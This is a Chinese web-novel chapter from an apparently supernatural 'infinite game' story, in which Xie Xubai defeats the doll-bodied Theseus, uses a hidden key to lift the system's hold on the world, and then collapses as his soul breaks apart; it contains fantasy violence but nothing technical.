忒修斯的核心意识朝外发散,如实勾勒出故事的始末。 无数影像杂糅在一起,将这世界渐渐凝缩成一条昏暗的长廊。 长廊的地板有些潮湿,边缘泛黄,缝隙满是灰尘,破败而老旧,尽头是一扇生锈的房门。 如果谢凯乐在这儿,会认出这里就是店铺的二楼走廊,但它被无形的力量所影响,原本不超过十米,现在被拉长数百米。 谢叙白站在长廊的一端,两边是持续播放的影像。 店外,粉丝的声讨愈演愈烈。 店内,走投无路的老板将人偶踹翻在地,桌上的花瓶杯子乒铃乓啷碎了一地。 他掐着人偶的脖子,眼里满是红血丝,狰狞地嘶吼:“看看你招来的这群疯婆子!” 人偶不能说话,不能动弹,于是老板的暴行变成默许。 而老板看着人偶的脸,被生产厂刻印出来的笑脸,越看越觉得是正主在嘲笑自己。 他当然不认识正主,只在网上和订购人偶时看过照片,发布那些诋毁的言论也仅仅是为了发泄。 但此刻,一股阴暗的火气在老板胸腔熊熊燃烧。 人偶不再是人偶,它变成了聚光灯下闪耀夺目的正主。 正主维持着优雅从容的微笑,高傲地抬起下巴,蔑视着眼前想要利用他的名声赚钱,还没有得逞的臭虫。 老板起身,去厨房拿起菜刀。 “出来啊奸商,你有胆子诈骗造谣,没胆子承认是吗?” 老板举起菜刀,狠狠地砍在人偶的脑袋上,没注意到人偶的手指弹动了一下。 “别装听不见!退钱!” 菜刀砍断人偶的鼻梁,劈开脸颊,凿碎眼球,玻璃片飞溅。 所有的压抑和嫉恨都在此刻得到宣泄,老板痛快地大笑起来,人偶的指甲死死地扣进地板,咯吱咯吱地痉挛。 “你就等着坐牢吧!” 讨伐声高昂激烈,却又在菜刀剁开塑料的炸响里轰一下远去。 一阵强烈的冲击波扫荡而来,所有的影像都消失了,剩下眼前这条昏暗的长廊。 不知从哪儿投射来一束刺眼的白光,穿过破碎的窗玻璃,落在墙壁上。 明明眼前空无一人,墙上却映出老板砍向人偶的倒影。 像是一场没有台词的黑白电影,灯光快闪,视野明灭,画面切换。 咔嚓一声,人偶的脸被凿穿,墙壁出现裂痕。 咔嚓一声,人偶被凿开胸口,墙壁裂痕朝外蔓延。 咔嚓一声,人偶毫无预兆地抬起手,挡住菜刀,老板不敢置信地张大嘴。 咔嚓一声,老板恐慌地往后退,菜刀颤颤巍巍指向人偶,人偶踉踉跄跄地站起身,随手抽出柜台笔筒里的剪刀。 咔嚓一声,人偶面目全非的脸剩下半个嘴角,咧开一个大大的弧度。 墙壁的碎石淅淅沥沥往下掉,碎裂的玻璃渣子也顺着人偶漆黑的眼眶往下掉,反射出莹亮的光。 咔嚓一声,人偶正对荧幕,笑着举起剪刀。 轰——! 地板颤动,灯光摇曳,墙壁如受重击,猝然四分五裂。 烟尘扬起又散去,露出一具死透的尸体,倒在谢叙白的脚边。 尸体的心脏被捅穿,不敢置信地瞪大眼,维持着生前的惊恐,似乎到死也不明白,人偶为什么会活过来。 浓郁的血腥味扑面而来,一连串点状的血迹浮现在地板上,蜿蜒向前。 地上的血液还很新鲜,没有凝固。 谢叙白顺着这串血迹走到长廊尽头,站在房间门口,将手握在门把手上,往前一推。 吱呀—— 视野霍然开朗。 里面是个杂物间,不大,只比长廊宽敞一点。地上杂乱地堆砌着没拆封的快递箱、包装盒和塑料袋,蒙上厚厚的灰,天花板挂着蜘蛛网。 这环境脏乱得和垃圾场没什么区别,但窗帘是拉开的,有阳光透过玻璃照进屋。 粉尘在空气中欢快跳跃,驱散了室内的阴暗潮湿。 一个破破烂烂的人偶站在窗边,直勾勾地往下看。 他垂下的右手紧紧地捏着剪刀,血液顺着刀尖滴落在地,啪嗒、啪嗒……凝成一个鲜红的小洼。 像受伤的人给自己缠上绷带,他的身上也胡乱地贴着蓝色胶带,笨拙地修补被凿开的裂痕。 后半截没再贴了,或许是意识到没用。 谢叙白进门的时候,人偶没动,目不转睛。 谢叙白听到窗外有声音,走过去,顺着人偶的视线往外一看,却没想到看见了他自己。 底下的谢叙白穿着栗色呢绒大衣,和少年谢凯乐并肩站在大街上,大白狗平安摇着尾巴,欢快地蹭他的裤脚。 他笑着揉了揉平安的脑袋,嘀嘀两声,一辆黑色卡宴停在了他的面前,车窗摇下,露出岑向财慵懒的笑脸。 后座的裴玉衡似乎在看什么报告,余光瞄见他,眉间褶皱舒展,冷淡的神情一秒柔和。 有熟人路过,认出谢叙白,热情地打招呼,问他们是不是出去玩。 谢叙白眉眼弯弯地回了一声,便上了车。 一大家子很快打开话匣子,谢凯乐谈起学校的趣事,岑向财臭美地向谢叙白展示新做的发型,裴玉衡放下报告,取出给平安买的零食,小触手唰一下好奇地蹭过去,捞起一个塞进嘴里。 街上人来人往,阳光普照,热闹祥和,卡宴油门一踩,载着欢声笑语离去。 那似乎是生活中一段稀松平常的剪影。 光影明灭,划出一条清晰的界限,将楼上楼下分割成两个完全不同的世界。 人偶扭过头,窗外的景象尽数消失,变成一片虚无。 他看向手里沾血的剪刀,开口发出忒修斯充满讥讽的声音:“说实话,这个故事无聊得让人直打哈欠,但谁让你逼迫系统修订了规则呢。” 谢叙白曾经迫使系统重改游戏规则,其中一条大概可以囊括为:副本设定不能脱离人们的常识,不能有超越时代的科技,力量体系必须在可认知的范围。 系统要把忒修斯塞进游戏,必须满足设定条件,于是人偶出现了,作为忒修斯的投影。 也是这时,忒修斯忽然意识到,原来他所有痛不欲生的经历,概括起来是这么的微不足道。 不过是一个店老板拆解人偶泄愤,又被人偶反杀的故事罢了。 除去店门口,昏暗狭窄的杂物间是人偶最长留待的地方。 在这个具象化的意识世界里,这是最核心的区域,忒修斯全部的记忆都存放在这。 “可是你能从中找出自己想要的东西吗?” 忒修斯猖狂大笑,在一阵剧烈的颠簸下,两人站立的地板陡然拉长扩宽,墙壁节节后退,眨眼功夫,整个杂物室居然变得有机场跑道那么大! 谢叙白当机立断散发精神力,金光如同甩出去的套绳,眼疾手快地抓住好几个杂货箱。 这里囤积的每一件杂货垃圾,都代表一段压缩的记忆,密钥的线索就在其中,要花费大量时间和精力去筛选。 忒修斯当然不会给谢叙白这个机会,几乎在金光出现的瞬间,黑红色精神力拔地而起,与之相撞! 金光被大力弹飞,又在瞬息分裂成无数股,绕开黑红精神力重新抓住掉落的杂货箱,侵入解读。 一瞬间,记忆海啸般冲进谢叙白的脑海,所有的人事物乱七八糟地挤成一团。 谢叙白用力地皱了下眉头,浏览这段记忆,发现没有自己想要的内容,立刻驱使金光解读另一个杂货箱。 忒修斯狞笑着冲过来,速度比想象中还快。 只见他高举双手,剪刀像气球一样膨胀,裹挟呼啸狂风,朝着谢叙白拦腰一剪! 谢叙白当即提步后撤,贴着锋利的刀刃被逼到角落,往下一蹲,咔嚓,发尾被剪断,散碎的发丝晃晃悠悠地从半空飘落。 金与黑红两股精神力不停交戈,速度快出残影,叫人眼花缭乱,从门口跨越几千米打到窗前,又横贯几千米从天花板战至地板。 力量相撞,迸发出强劲的余波,所及之处遍布裂痕! 不止精神力在交锋,两人也没有停下搏斗。 这里是忒修斯的主场,能让他速度更快,攻击力更强。 与之相应的,谢叙白也会受到减速、负重、呼吸困难之类的限制。 谢叙白不占优势,避免正面冲突才是上策。 忒修斯是这样想的,谁知道谢叙白竟然反其道而行之,在缠斗后箭步前冲,拉近距离,金光自掌心分裂爆发,暴风骤雨般袭来。 忒修斯瞳孔凝缩,连忙抬掌,用精神力凝结屏障。 噼里啪啦一阵连响,他在巨大的冲击中寸寸后退,鞋子压裂地板,刺啦划出长痕。 攻击还没完全结束,他却心跳打鼓,一抬头,猛然对上一双凌厉的眼眸——谢叙白竟然趁机冲到了他的面前! 嘭! 金光大放,忒修斯重重地摔了出去。 谢叙白在原地急喘两下,捡起地上的垃圾袋,正当他用精神力解读时,忒修斯忽然站了起来。 谢叙白瞳孔微缩。 忒修斯比他还要惊讶。 刚才那一招所蕴含的气势,将他的冷汗都逼了出来,谁知道根本没事。 “所以……”忒修斯怔忪地看向谢叙白,喃喃道,“你是真的要撑不住了?” 谢叙白仍旧有杀死他的力量,但是对方在找到密钥前不会对他下杀手,这就需要控力。 正常的那一下应该会将他打到半残,这样谢叙白就能把他丢到一边,安安心心地解读记忆。 但实际的威力远比预想中要少。 那只代表一点。 谢叙白的感知开始模糊,无法再精准地控制力量。 这个发现太有冲击力了,不亚于看见屹立百年不倒的高楼骤然垮塌。 难道是解读记忆加重了身体负荷? 忒修斯情不自禁地好奇,发现自己已成强弩之末的谢叙白会是什么反应。 这个天崩地裂都面不改色的家伙,会不会流露出哪怕一丁点的着急和脆弱? 结果一抬头,就看见谢叙白随手将一个解读完的杂货箱丢在地上,又闪电般冲向另一堆杂货。 忒修斯愣神的这十几秒功夫,谢叙白已经争分夺秒地解读了不下五段记忆。 忒修斯的神情扭曲了一瞬,然后又捂着脑袋痴痴地笑起来,不知道是嘲弄自己的天真,还是在感慨:“你果然——” “还是这么的讨人厌!” 劲风袭来,谢叙白侧身一躲,剪刀像一扇门贴着他的鼻梁砸进地板,血线和木屑一并飞泼。 忒修斯嬉皮笑脸:“真是没礼貌,别人说话的时候至少也要给点反应吧,啊?” 谢叙白冷眼一抬,扭身蓄力,修长的腿划出一条完美的弧线,重重地踢中忒修斯的脑门。 忒修斯再次倒飞出去,塑料制的人偶身体夸擦一声,裂开一条偌大的裂痕。 谢叙白顾不上再收力,用出狠招,但忒修斯不仅没有怯缩,还笑得更加癫狂,弹跳起身,再度冲了上去。 这种自杀式打法简直令人惊心动魄! 短短数次缠斗,谢叙白连防几千招。忒修斯可以全身心地投入战斗,但他要顾及很多,一个不慎,谢叙白被剪刀砸中腹部,登时呛出一大口血沫。 他摔在地上,眼冒金星,豆大的冷汗渗出皮肤,指尖止不住地颤抖。 谢叙白这模样,任谁来看都是疼得快要受不了了,分分钟能晕倒。 哪知道他捂着腹部的手一松,两个金属饰品从汗湿的掌心掉落。 他又解读完了两段记忆。 所谓挫败感,就是对手明明看着快不行了,你拼尽全力发现自己还是打不倒他。 忒修斯从地板上灰头土脸地爬起来,领教无数次,仍旧想骂人:“到底谁才是怪物。” 如果不是进行过无数场实验,累积海量记忆,他现在估计连底裤都被谢叙白给扒光了。 就在此时,谢叙白突然停了下来,冲向忒修斯! 忒修斯一惊,立马竖起巨化的剪刀,几乎挡住整个身体,尖端如同长矛,正对着谢叙白。 这样极限短的距离,如果谢叙白不想受伤就必须躲开! 他没躲。 掐着剪刀尚未完全抬起来的时机,谢叙白决绝地撞了上去,以一种打破常理的高难度卸力技巧,千钧一发,挡开剪刀。 他没有被开膛破肚,但也无可避免地受了伤,剪刀的尖扎进胳膊一划,留下一道二十多厘米的血口,深可见骨! 剪刀啪地落地,缩成原来的巴掌大小。 忒修斯被谢叙白掐住咽喉抵在地上,扫向那道狰狞的伤口。 血液汩汩淌落,顺着皮肤蜿蜒流下,浸湿衣服。 谢叙白的脸色看上去更苍白了,身体在气喘中微微起伏,汗水划过削瘦的下颚线,砸在地板。 忒修斯伸手去抹淌在谢叙白身上的血,低笑道:“你又何必这么激进,我不早就是你的囊中之物了吗?” 如果忽略他兴奋到发颤的声音,这语气竟有一种推心置腹的善意。 谢叙白余光瞥向四周。 他用上最快速度,赶在几小时内解读将近三分之一的记忆。 这非常消耗脑力,以至于他看东西都是模糊的,带着道道重影。 谢叙白轻声说:“你根本不着急。” 有恃无恐的理由只有一个,密钥的线索不在那些物件中。 忒修斯倒是不意外他会发现:“聪明。” 谢叙白:“但你的意识世界被完全解构,所有的记忆都在这里。” “难道你清除过自己的记忆?不,如果你这样做,系统一定会察觉。 密钥不仅是你威胁我的筹码,更是你对峙系统的手段,随时能把它拿出来才是足够的底气。” 谢叙白眼神如鹰隼:“你到底把它放在了哪里?” 忒修斯看着他,咧开嘴角,点点自己的脑门说:“老实告诉你吧,就在——这儿。” “只要你剖开它,就能得到密钥。” 谢叙白直勾勾地和他对视,无形的威压砸下来,忒修斯闷哼一声。 忒修斯凝视他绷紧的脸皮,笑起来:“真的,你试一试不就知道了吗,还是你想这么僵持下去?” “想想那七十七亿亡魂,想想你战死的亲朋好友,千千万万家庭的生死存亡全在你一念之间。” 谢叙白目光一狠,威压变重,氧气越来越稀薄,忒修斯哼哧抽气,脸颊憋胀得通红。 “难道,你要为了,自己所谓的,良知和正义,让那么多人因你,丧命吗?” 谢叙白没有说话。 无论是发根长出的白丝,还是眼底一圈化不开的青影,都无声地述说着疲惫。这种累,让他对疼痛和受伤都变得麻木。 他实在坚持了太长时间。 第278章 最终试炼【《游戏之家…… 难以言喻的死寂中,谢叙白闭了闭眼,摊掌按在忒修斯面目全非的脑袋上。 金光侵入识海,忒修斯能感受到自己的意识在被拖出身体,一点点坠入地狱。 他得逞了。 谢叙白会失败,余生都活在悔恨中。他将完成自己的报复,把自己死死地烙印在谢叙白的记忆里,成为狰狞的疮疤,至死方休。 想到这,忒修斯需要用尽力气去忍耐,才不至于让嘴角高兴地翘起来。 岂料峰回路转,谢叙白说:“找到了。” 短短三个字,如同晴天霹雳,震耳欲聋。 忒修斯一个激灵,用力扯开谢叙白的手,看见他另一只手上多出一个东西。 ……那把剪刀! 中计了! 谢叙白使用精神力是为了屏蔽他的感知,将手蒙在他的眼睛上是为了遮挡他的视野,这样他就无法察觉谢叙白真正的动作。 “我早该反应过来。”谢叙白道,“人偶是你的形象投影,背景故事和你的经历重合。” “订购人偶的老板代表着制造出你的系统,密钥可以赢下游戏,将系统一击毙命,在人偶的故事里又有什么东西做到了这一点?” 谢叙白拿着剪刀,咔嚓咔嚓地剪两下,好整以暇地挑了下眉头:“答案显而易见。” 不用忒修斯开口,那骤然停滞的呼吸和压不住震颤的瞳孔,已经肯定了谢叙白的猜测。 数道金光层层包裹住剪刀,用最快的速度破除它的伪装,解构它原本的模样。 忒修斯根本来不及阻止。 谢叙白这辈子充满艰难险阻,想做的事总是伴随着一波三折,没有哪一件是轻松顺利的,也没有哪一件是真正做到了的。 就像推着滚石上山的西西弗斯,每当看见登顶的希望,石头就会从掌心脱落,从陡然的山坡一路滚下去。 所有的努力白费,所有的希望破灭,又要重头开始,一次、两次、三次、再一次、无数次地迈入新的轮回—— 可是这一次,命运女神终于完完全全地眷顾了他。 谢叙白以为最好的情况是找到密钥的线索,直至他完全解构剪刀,才发现这居然就是密钥。 不用再去寻找,密钥就在他的手中! 这一刻,饶是淡定如谢叙白都激动得心脏狂跳,迅速拿出系统的数据核心。 在他做出这一动作后,杂货室的各种摆件、地板、墙壁、天花板齐齐开始分解,化作细碎的光影消散在半空中。 还想给出最后一击的忒修斯动作一滞。 ……这么长的时间,他都要忘记了,这里是他的意识世界,但更是【弥赛亚】的身体内部,是系统打造出来的虚拟牢笼。 不是他困住了谢叙白。 从一开始,就是谢叙白困住了他。 谢叙白打开牢笼,和忒修斯一起从【弥赛亚】的身体里掉了出来,落在青绿的草地上。 寒风从脸颊簌簌刮过,不再局限于天花板的限制,视野变得无限宽广。 放眼望去,天色阴沉,山峦重叠起伏,远处城市楼宇林立。 他们重新回到了现实世界,回到了H市。 没有半点犹豫,谢叙白用精神力驱使密钥注入系统核心。 一阵雪白的光束猛地从核心迸发向上,直冲天穹,风云汇聚,爆发出一阵阵有形的涟漪,又在下一瞬以雷达电波的形式分分钟扩展到整个世界。 长久以来,H市外都笼罩着一层化不开的浓雾,走进去要么迷失,要么鬼打墙一样回到原地。 如今,那股浓雾在剧烈的波动下皆数散去,露出被吞食的地貌。 有高楼大厦,有阡陌交通,有工业园区、高科技机械厂、繁华商圈、富足粮储、万亩良田。 那是原本就存在于这个世界上的,一座又一座的城市,是人类历经千百年岁月累建出来的文明。 所有玩家在试炼副本结束后就回到了系统空间。 他们凝神静气地等待着、祈祷着,神经绷紧成一条线,心脏几乎提到嗓子眼。 那微妙的变化一经出现,就被他们敏锐捕捉,脸上绽放出前所未有的狂喜。 限制解除了! 现实世界。 谢叙白自光束发散出去后,就高抬头颅,屏住呼吸,眼也不眨地凝视着。 当他确定限制解除的一瞬,眼神顿时恍惚。 像是卸掉背负着的千钧巨石,那双僵硬的肩膀终于缓缓地、缓缓地松垮了下去。 无数次轮回中积累的压力,无数人殷切的期盼。战友的牺牲,染血的命运,肩负的责任……一切的一切,都在此刻得到了交代。 松弛过后,谢叙白突然感觉一阵猛烈的眩晕,不受控地踉跄了一下,撑住树干才没有倒下去。 忒修斯也是一脸恍惚,久久没能回神。 这时,谢叙白虚弱沙哑地喊他:“忒修斯。” 忒修斯看向他。 就在刚才,一切都结束了,没有回旋的余地。 他和谢叙白在幻境中磋磨十几年,对招交锋无数次,大部分时间剑拔弩张,也有少数温馨共存的时候。 但他没有像那些怪物一样被感化,没有悔意,蔑视生命,对谢叙白的仇恨也仍旧钻心刻骨。 他不是不知道谢叙白也是无限游戏的受害者,不是不知道系统才是真正的罪魁祸首。 但他奈何不了系统,如果不将仇恨嫁接到谢叙白的身上,他又要怎么才能撑下去? 是啊,能怎么办呢。 他就是一个无可救药的烂货渣滓,一辈子也就这样,没有办法了。 谢叙白继续说:“这世上有很多我在意的人,我不想死。” 这内心剖白来得莫名其妙,搁在当前的局势里,就像文青赢得大奖后还要矫揉造作地发表一篇励志宣言。 忒修斯的嘴角抽了一下,鼓鼓掌,敷衍道:“是啊,劳累你一个怕死的人能这么勇敢地牺牲自己拯救世界,你伟大,了不起。” 谢叙白没有理会他的阴阳怪气,嗓音沙哑,一字一顿:“如果上辈子不是走投无路了,我不会用自己的性命和系统硬碰硬,也不会让系统有机会提取到我的灵魂数据。” 谢叙白和怔愣的忒修斯对上眼:“你说得对,如果不是我的无能,你根本就不会诞生。” “从今往后,这一辈子,我都会铭记这一过错,到死为止。” 忒修斯的心跳猛然漏了一拍。 人偶应该是没有心脏的,但他确实感觉到了一股强烈的悸动,就在胸腔左上方的位置,宛如火山喷发,烫得灵魂战栗不休,是以前从未体会过的情感,令他新奇,令他茫然。 他蠕动嘴唇,谢叙白却干脆利落地抬起手。 一道金光从忒修斯的眼前飞快掠过,失重感袭来,他往后坠落。 时间被拖曳得漫长,花草树木在他的眼角余光中倒退。 他看见了自己被切开的脖颈,劣等塑料胶体,光滑平整,雪白色,没有血。 很快的一刀,忒修斯甚至来不及感到疼痛。 昔日棋局上的谈话再一次在忒修斯的耳边响起,平静得像是在唠嗑:“只要一拿到密钥,我就会给你一个痛快。” 谢叙白如实地践行了曾经的承诺,没有迟疑,没有同情,把他当成纯粹的敌人。 忒修斯的意识就这么轻轻松松地飘了起来,像被风吹上云端的气球。 或许是真的要死了,一生的苦痛绝望、爱恨情仇,纷纷化作走马灯在眼前闪现,又在一转眼坠入无尽的深渊,灰飞烟灭。 没有仇恨,没有折磨,没有重复的实验和被操控的人生。 死亡结束一切。 这样……不也挺好吗? 忒修斯一声轻笑,厌倦的眼神在最后一刻化为释然,闭上疲惫的双眼。 两秒后。 察觉到不对劲的忒修斯惊愕地睁开眼睛。 他环顾四周,只剩脑袋的他,视野跟着遍地,能清楚地看见草地泥土中爬动的蚂蚁,除此之外,什么变化都没有。 ……为什么他还活着? 人偶是他的本体,没有保命和复活的手段,脑袋落地就会死,这是不争的事实。 忒修斯下意识看向谢叙白,后者脸色一沉,眉头紧蹙,大步流星抓起他的脑袋。 干脆利落地下杀手,不让他们感受多余的痛苦,是谢叙白对敌人最大的仁慈。 原本忒修斯该这样死去,到底出了什么意外? 忒修斯忍不住质疑:“你到底能不能……” “行”字还没出口就变成吃痛的闷哼,谢叙白很快给了他第二击。 不是物理攻击。 此时的谢叙白意识到问题没那么简单,直接将精神力灌入忒修斯的脑内。 这次谢叙白不止是动真格,还拼尽全力。 金光滚滚而来,犹如一场凛冽的暴风雪,铺天盖地席卷忒修斯的意识海。 后者感觉自己好像被卷入一台高速旋转的粉碎机,精神、思想、个人意志通通在霎时间被搅成了碎屑! 很意外,明明是这么无情致命的攻击,却没有疼到无法承受的地步。 不用猜,就知道是谢叙白做了什么。 ——典型的谢叙白式温柔。 他也顾不上想太多。 脑子里全是绽放的金光,如烈日占据视网膜,搅碎的意识坚持不过一秒,就随风飘散,湮灭在金光铺就的末日。 …… 然后忒修斯再一次睁开了双眼! 这回睁眼有点艰难,他的脑子很混乱,隐隐作痛,耳畔全是嘈杂的嗡鸣。 忒修斯用力地甩了甩头。 眼前的景象影影绰绰地重叠在一起,虽说模糊,但能勉强看清还是刚才那片树林。 谢叙白就站在他面前,胸口止不住地起伏,驱使精神力的手还没来得及收回去,半垂着脑袋,神情没入阴影中,叫人看不分明。 和刚才稍微有点不一样。 刚才是没杀死,这次忒修斯是死了,但又复活了。 因为他发现自己重新有了手脚和身体。 犹如一盆冰水兜头浇下,忒修斯直感透心凉,面目狰狞,怒极咒骂:“到底是什么意思?啊?!” 他难道罪大恶极到连死都变成奢望了吗?! 忒修斯猛一低头,立刻僵住。 他将手伸到面前,止不住地颤抖。 这双手,又或者说这一整副身体都不正常。 不是人类,不是塑料人偶,也不是什么诡怪怨魂。 它无限接近于实体,无数道猩红的数据流飞快闪过,构建出清晰的肌肉筋脉和五脏六腑,红得甚至有些发黑。 忒修斯又摸了摸自己的脸,能感觉到数据字符从指缝流走,没有五官。 数据体……? 数据体并不罕见,每一个叛徒玩家都会签订奴隶契约,将灵魂贩卖给系统,化身数据体。 但忒修斯又明显区别于这些数据体。 系统对其他数据体是全面压制,而他,或许是谢叙白刚才洗刷他的意识海时,碰巧清除掉某种隐藏的限制,现在的忒修斯竟然能反过头去感应到系统的存在。 换而言之。 他和系统是共存的关系。 为什么?难道就因为他是系统制造出来的吗?还是说系统最后留了一手,打算用这件事挟持他就范?! 不管是什么原因,忒修斯察觉到自己必须要毁灭系统,才能真正得到解脱。 没什么,没什么,都是小问题,系统的数据核心就在谢叙白的手里,灭掉系统算是他们不约而同的共识。 忒修斯再次放松。 谢叙白已经有好半会儿没有其他动作了。 忒修斯看过去,下意识扬起嘴角,想就对方没能杀死他的事嘲笑两句,却看见谢叙白身体一晃,重重地倒在了地上。 这一摔可太突然了,忒修斯瞪大双眼,条件反射地拉住青年:“谢叙白?” 入手冰凉刺骨。 数据体会模拟环境温度,H市今天大概在13~15℃,可是谢叙白的体表温度居然比这还低,以至于忒修斯抓着他,都感觉冰手! 谢叙白被这么一拽,抬起头,涣散的瞳孔恢复了点焦距。 他用力地喘口气,顾不上甩开忒修斯,再次拿出系统核心,一字一顿地说:“开启最后一场试炼。” 【距离上次试炼结束仅过去6小时,是否确定开启新的试炼?】 谢叙白:“确定。” 【请选定试炼区域。】 “H市第一人民医院。” 【本期已选定过该试炼区域,不可重复选定。】 “H市江家本宅。” 【本期已选定过该试炼区域,不可重复选定。】 “H市正新区太平大道56号巷。” 【本期已选定过该试炼区域,不可重复选定。】 忒修斯狐疑地看着咬字沉重的谢叙白,发现自己竟然可以透过肉身,看见谢叙白的魂体。 那魂体并不稳定,晃得有点太剧烈了,日光映照下,接近透明。 是错觉吗,为什么他看见上面出现了裂痕? 忒修斯手指一颤,心头被一个荒谬不祥的预感占满。 他过于震惊,甚至忘记自己可以趁机偷袭。 谢叙白用力攥紧系统核心,指尖泛白,语速非常快,像是和时间生死竞速:“H市盛天集团。” 【该试炼区域不在系统管辖内,不可选定。】 “H市红阴古镇。” 【该试炼区域已被损毁,不可选定。】 “XXXXX。” 【该试炼区域没有诞生出规则,不可选定。】 …… 最后一场试炼至关重要,要保证百分百顺利度过,越轻松简单越好。 但没有血腥味的土地诞育不出规则,无法选定,所以在保证试炼有难度的情况下,还要将难度压到最低。 不能是完全陌生的区域,未知会加大风险。 不能随机,不然撞上忒修斯这种情况会出大问题。 最好是可公开的诡域,能让其他诡怪出手干涉,提高生存率和胜算。 谢叙白脑速飞快运转,在所有的预选和备选地址都被一一否决后,他长长地吐出一口气,仿佛下定某个决心。 “H市。” 叮。 系统核心亮起绿灯,代表方案可行。 【重复询问,是否选定整个H市作为本次试炼区域。】 谢叙白:“确定。” 忒修斯佩服谢叙白的大胆和异想天开。 如果是几个月前,把试炼场地扩大到整个H市,那和找死没什么区别。 光是找个关键道具,就有可能要跨越大半个市区,遭遇成百上千头诡怪。 但放在眼下,却巧妙地成为了最保险的选择。 同一个试炼区域的诡怪可凭实力自由通行。 而那些诡怪,再强都强不过谢叙白的亲友团,势力范围再大,也大不过掌握全市经济命脉的盛天集团。 玩家空间,系统提示声同步响起: 【叮,检测到已有首通9场的玩家,最终试炼已解锁,并将于第三天的凌晨9点开启。】 【叮,检测到该区域存在A级诡王“平安”,副本难度提升至:A。】 【叮,检测到该区域存在A级诡王“谢凯乐”,副本难度提升至:A+。】 【叮,检测到该区域存在S级诡王“裴玉衡”,副本难度提升至:S。】 【叮,检测到该区域存在S级诡王“岑向财”,副本难度提升至:S+。】 叮、叮、叮…… 【叮!检测到该区域存在???级诡王“■■”,难度提升至:SSS!】 【副本《H市》已生成,即将投入试炼!】 现实世界,谢叙白一副唯恐迟则生变般设定好试炼背景,用精神力将系统核心封存得滴水不漏,就再一次倒了下去。 忒修斯连拽好几下都没能让谢叙白再度站起来,从怀疑到震惊,再到不敢置信。 谢叙白强撑颤抖的眼皮,呼吸轻得接近于无。他的灵魂一丝一丝地分裂出来,像淡白的柳絮,随着吹来的轻风,缓缓散在空气里。 忒修斯看在眼里,瞳孔疯狂震颤,脑袋轰一声爆炸! “开什么玩笑,你是妙脆角做的吗?上辈子你顶着系统的威压强行成神才撑爆灵魂,这辈子你连神都不是,就这么倒下了?” “你不是承诺过会给我一个痛快吗?我还没死呢,你凭什么先死?” “起来啊谢叙白!” “起来啊——!” 丛生的杂草,偏僻的深山老林,叫天天不应,叫地地不灵,方圆十里连个鬼影都看不见,更别说在短时间内逮出一个灵魂修复师。 杂乱的阴影笼罩在头顶,一枚枚黑棋从忒修斯的身上飘出来,浮在半空。 忒修斯不能让谢叙白死在这个时候,谢叙白要是死了,谁来除掉系统? 那群玩家他一个都信不过! 没人教过忒修斯该怎么救人,他也是病急乱投医,仰头看着漫天黑棋:“你们能不能救他?” “你们不是恨我吗?只要你们救下他,他就会杀了我!” 数不清的黑棋居高临下,怜悯地看着他。 忒修斯猛地一咬牙,在谢叙白的耳边吼:“你别指望我会把你的下落告诉其他人,你要是死在这种地方,连个收尸的人都没有!” 或许是忒修斯吼得太大声,一阵用力摇晃,硬是将谢叙白给晃清醒了一些。 他双眼涣散地看向忒修斯,似乎在努力辨认对方是谁,张嘴,声音微乎其微:“……H市……在哪儿?” 他们此刻就在H市的地界,一个还没开发的郊区,但谢叙白想找的显然不是一个宽泛的区域。 不等忒修斯开口,谢叙白已经抽回手,站起身,踩着满地枯枝烂叶,脚步趔趄地往前走去。 鸟雀盘旋在阴沉沉的高空,树林灌木丛生,万籁俱寂。 人的视力有限,谢叙白通常靠精神力辨认方位。 现在他的力量随灵魂一同缓慢碎裂,那座城市的影子也一点点地在他的视野模糊,淡化,完全消失。 幸好,谢叙白不会迷路。 他的心里始终刻着一个方向。 H市……他的家,就在那里。 老破小的平房里,谢语春使坏地挠他的咯吱窝,逗得他在床上哈哈大笑:“谁是这世上最可爱的宝宝呀?是谢叙白呀!” 简陋的出租房里,他在纸上写下平安的名字。 大白狗歪了下脑袋,驱使圆珠笔,在“平安”两个字的旁边歪歪扭扭地写下“谢叙白”的名字。 【谢叙白,平安。】 夜深人静,小触手窸窸窣窣贴近他的耳边,神神秘秘地说:【告诉谢叙白一个秘密哦,我最喜欢白白了,要和白白一直一直在一起!】 充斥着欢声笑语的游乐场,谢凯乐被他背起来,红着脸矜持好半会儿,终究忍不住用力地抱过来,哼哼唧唧地笑:“等我再长大一点,我也要背着老师走。” 一同看房的路上,裴玉衡将平安锁挂在他的脖子上,顺手拢紧他的衣领,宽掌摩挲他的脑袋,眼神慈祥,语重心长:“我的阿余,要年年有余,活得长久,活得开心。” 车子从红阴古镇深山隧道冲出来的刹那,副驾驶的岑向财突然说道:“有一段时间,我的身体亏空得厉害,肩不能提手不能抗,跟个废物一样,加上人见人厌,我一度觉得活在这世上很没意思。” 岑向财睁开眼,笑着看向他,眨眨眼:“直到遇见你,我就再也没那样想过了,神奇吧?” “我这么说倒也没有别的意思,只是想告诉你。”岑向财认认真真地说,“谢叙白,你是我一辈子的挚友。” 【white。】小羊忧心忡忡的声音在谢叙白耳边响起,【你知不知道你的灵魂如果碎上第二次,会有什么后果?】 嘭一声,谢叙白双腿一软,重重地摔在地上。 眼前一阵发黑,连最近的树木都看不清了。 他咬紧牙关,挤出吃奶的劲儿,伸手撑着地面,试图重新站起来,手掌五次打滑,五次脱力,脖颈用力到暴起青筋,最后颓然地摔了下去。 他没有摔进泥里,而是跌入一个坚实温暖的怀抱。 宴朔搂着谢叙白伤痕累累的身体,简直要疯了,根本顾不上说话,七根触手排山倒海般冲出去,用最快的速度抓取谢叙白散落的灵魂碎片,强悍的力量余波荡开,笼罩在H市的高空,搅起漫天雷霆。 谢叙白已经神志不清了,他花上十几秒才认出宴朔的样子,吃力地拿出系统核心。 “试炼,需要,要……” 宴朔几乎不用去听,都能猜出谢叙白想说的是:试炼需要一个清醒的掌控者,不然会被系统趁虚而入。 此时他简直恨极了谢叙白,沉声怒骂:“你都半死不活了,什么时候能为自己考虑一下?!” 谢叙白见他没接,以为自己没表达清楚,努力张嘴,焦急地说:“求……” 宴朔冷冷地看着他,无论是暴涨的力量波动,还是他绷紧到颤抖的肌肉,都代表他将情绪压抑到了极限。 最后,宴朔深吸口气,认命地接下系统核心。 谢叙白虚弱地笑一下,挺起身,嘴唇贴近宴朔的耳边。 宴朔以为他还想交代点什么,说一些该死的宽慰人的话,但谢叙白没有动,也没有出声。 宴朔顾不上继续注意,全身心都扑在怎么完好无损地捞回那些灵魂碎片上。 瓷器破碎尚有损耗,何况灵魂?何况第二次碎裂? 他无法不让自己沉浸在可能要失去谢叙白的恐惧里,钳住青年的掌心全是冷汗,一点风吹草动都能惊得他飞快回头。 